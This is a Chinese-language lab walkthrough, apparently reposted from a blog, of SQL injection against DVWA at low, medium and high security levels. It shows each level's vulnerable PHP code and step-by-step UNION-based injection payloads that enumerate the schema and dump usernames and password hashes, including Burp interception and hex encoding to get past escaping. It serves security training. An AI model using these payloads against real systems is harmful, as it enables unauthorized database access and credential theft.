DWVA-關於SQL註入的漏洞詳解

来源:https://www.cnblogs.com/Hpineapple/archive/2019/12/16/12050980.html
-Advertisement-
Play Games

low等級 代碼如下: 1 <?php 2 3 if( isset( $_REQUEST[ 'Submit' ] ) ) { 4 // Get input 5 $id = $_REQUEST[ 'id' ]; 6 7 // Check database 8 $query = "SELECT firs ...


low等級

代碼如下:

 

 1  <?php
 2 
 3 if( isset( $_REQUEST[ 'Submit' ] ) ) {
 4     // Get input
 5     $id = $_REQUEST[ 'id' ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     mysqli_close($GLOBALS["___mysqli_ston"]);
22 }
23 
24 ?>

 

如上圖,代碼並沒有對輸入進行過濾,存在sql註入漏洞

下麵開始攻擊:

1.判斷是否存在註入

輸入   1                         ---返回正確

輸入   1’                        ---返回錯誤

輸入   1 and 1=1         ---返回正確

輸入   1 and 1=2         ---返回正確

輸入   1‘ and ’1‘=’1      ---返回正確

輸入   1‘ and ’1‘=’1      ---返回正確

輸入   1‘ and ’1‘=’2      ---返回錯誤(到了這裡得出應該存在字元型註入,下麵繼續驗證)

輸入   1‘ or ’1‘=’1         ---返回正確(返回很多結果,證明存在字元型註入)

2.猜解查詢SQL語句中的欄位數

輸入   1‘ or 1=1 order by 1#     ---返回正確

輸入   1‘ or 1=1 order by 2#      ---返回正確

輸入   1‘ or 1=1 order by 3#      ---返回錯誤(返回結果---Unknown column '3' in 'order clause'       證明欄位數為2)

3.確定欄位順序

輸入   1' or 1=1 union select 1,2#    ---返回兩組結果(證明執行的sql查詢語句為:select Frist name,Surname from 表 where ID='id')

4.確定資料庫

輸入   1' or 1=1 union select database(),2#    ---確定資料庫為  dwva

5.猜解表名

輸入  1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' #        ---確定表名為 guestbook 和 users

6.猜解列名

輸入  1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #      ---爆出8個列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解數據名

輸入  1' or 1=1 union select 1,concat(user,'-',password) from users #       ---爆出所有數據

 

medium

代碼如下:

 

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ] ) ) {
 4     // Get input
 5     $id = $_POST[ 'id' ];
 6 
 7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 8 
 9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
11 
12     // Get results
13     while( $row = mysqli_fetch_assoc( $result ) ) {
14         // Display values
15         $first = $row["first_name"];
16         $last  = $row["last_name"];
17 
18         // Feedback for end user
19         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
20     }
21 
22 }
23 
24 // This is used later on in the index.php page
25 // Setting it here so we can close the database connection in here like in the rest of the source scripts
26 $query  = "SELECT COUNT(*) FROM users;";
27 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
28 $number_of_rows = mysqli_fetch_row( $result )[0];
29 
30 mysqli_close($GLOBALS["___mysqli_ston"]);
31 ?> 

 中等難度中對特殊字元進行了轉義,並且將輸入框改為下拉菜單,防止註入。

我們可以通過burpsuit抓包後修改提交數據來進行惡意註入。

下麵開始攻擊:

1.判斷註入類型

選擇1,提交,抓包後更改為 (此操作後續簡寫為抓包)

1‘ and 1=1                  ---返回錯誤

1 and 1=1                  ---返回正常(說明註入類型為數字型註入)

2.判斷欄位數

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回錯誤(欄位數為2)

3.判斷欄位順序

抓包

1 union select 1,2#         ---返回正常

4.猜解資料庫

抓包

1 union select 1,database()#    ---成功爆出資料庫 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回錯誤(此處的錯誤是由於存在字元 ‘ ,可以轉換成16進位然後提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(這裡和上一句的區別在於轉換16進位的時候,上一句轉的是  ‘dvwa’  ,這一句轉的是  dvwa  ,轉換的時候沒有加‘,需要註意!)

也可以這樣

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解數據名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有數據名

 

 

high

代碼如下:

 1 <?php
 2 
 3 if( isset( $_SESSION [ 'id' ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ 'id' ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
22 }
23 
24 ?> 

 

high級別對提交參數加了一個  limit 1 ,依次來控制輸出參數為一個。

此處可以利用low中的註入破解,因為註入過程中用到了#,將後面的語句註釋掉了。

1.判斷註入類型

1' or '1'='1      ---字元註入

2.判斷欄位數

1' or 1=1 order by 2#      ---返回正確

1' or 1=1 order by 3#      ---返回錯誤

3.判斷欄位順序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解資料庫

1‘ or 1=1 union select 1,database()#    ---爆出資料庫名

5.猜解表名

1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

7.爆出數據

1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出數據


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 這裡有一個小技巧:當我使用滑鼠右鍵點擊屬性,在進行QQ或者微信的截圖工具,屬性就會消失,比如QQ的ctrl+alt+A,我習慣微信的alt+A鍵盤截圖,這裡可以更改設置,以微信為例 1.點擊設置選項 2.快捷鍵設置,想給剛直接把你想更換的快捷鍵直接按進去就行了 3.更改截取屏幕,暫時隨便更改了一下, ...
  • 磁碟在系統剛分區的時候可以做磁碟分區最好 1.右鍵我的電腦,選在管理 2.在此視窗下依次展開選項,點擊存儲->磁碟管理,右邊是我已經分好的盤不用看的 3.確認一下我的電腦的各個盤的空間,選擇要壓縮的空間,本次以E盤為例 4.右鍵點擊E盤,選擇 壓縮捲,然後預設的界面是平均分配我的E盤大小,我的是預設 ...
  • #!/bin/bashlocation=/root/rmfind $location -mtime +30 -print | xargs rm -rf //-mtime是距離上一次修改時間 -print是只顯示文件 xargs是獲取find查找的結果在通過rm命令刪除 ...
  • 一,I/O重定向 重定向正常輸出 \ :覆蓋以存在文件的內容,很危險的操作 \ :如果文件已經存在,則是在原內容的最後追加。 可以禁止 的覆蓋行為,使用 。只在當前會話有效。 恢復覆蓋行為。 \ |: 已經禁止了覆蓋,但是確認就是要覆蓋,可以使用。 重定向錯誤輸出 2 :覆蓋以存在文件的內容,很危險 ...
  • 關係型資料庫: 1、定義: 創建在關係模型基礎上的資料庫,藉助於集合代數等數學概念和方法來處理資料庫中的數據 2、關係模型常用概念: (1)關係:可以理解為一張二維表,每個關係都具有一個關係名,就是通常說的表名 (2)元組:可以理解為二維表中的一行,在資料庫中經常被稱為記錄 (3)屬性:可以理解為二 ...
  • 總結一下平時用到最多的sql語句 1.特殊日期 --今天凌晨SELECT DATEADD(dd,DATEDIFF(dd,0,GETDATE()),0)--明天凌晨SELECT DATEADD(dd,DATEDIFF(dd,0,GETDATE())+1,0)--當周周一(每周從周日開始)SELECT ...
  • 數據挖掘第三篇 文本分類 文本分類總體上包括8個步驟。數據探索分析 》數據抽取 》文本預處理 》分詞 》去除停用詞 》文本向量化表示 》分類器 》模型評估.重要python庫包括numpy(數組),pandas(用於處理結構化數據),matplotlib(繪製詞雲,便於直觀表示),sklearn(提 ...
  • MySQL的安裝 一、前期準備 獲取MySQL解壓版安裝包(本文使用的是 【mysql-5.7.28-winx64.zip】版本) 獲取方式: 通過官網下載,官方下載地址:“https://dev.mysql.com/downloads/mysql/” 。(註意:需要oracle賬號登錄後方可下載) ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...